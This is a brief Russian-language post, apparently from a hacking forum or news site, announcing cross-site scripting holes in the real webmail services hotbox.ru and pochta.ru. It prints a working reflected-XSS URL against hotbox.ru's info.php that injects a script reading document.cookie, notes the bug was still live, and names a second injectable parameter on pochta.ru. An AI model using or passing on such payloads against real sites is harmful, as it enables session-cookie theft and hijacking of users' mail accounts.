hotbox.ru или pochta.ru

[Winux]

XSS на hotbox.ru
http://news.xss.pro/pochta.ru.gif
Вот и в этом сервисе найдены свежие дырочки....точнее пока дырочка. На момент написания баг еще даже работал.

http://hotbox.ru/info.php?lng=ru&mid=?login=
skv%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

Все выровнять в 1 строку)))

 

[Winux]

Вот еще 1 бага бай drmist:

http://pochta.ru/?lng=[XSS]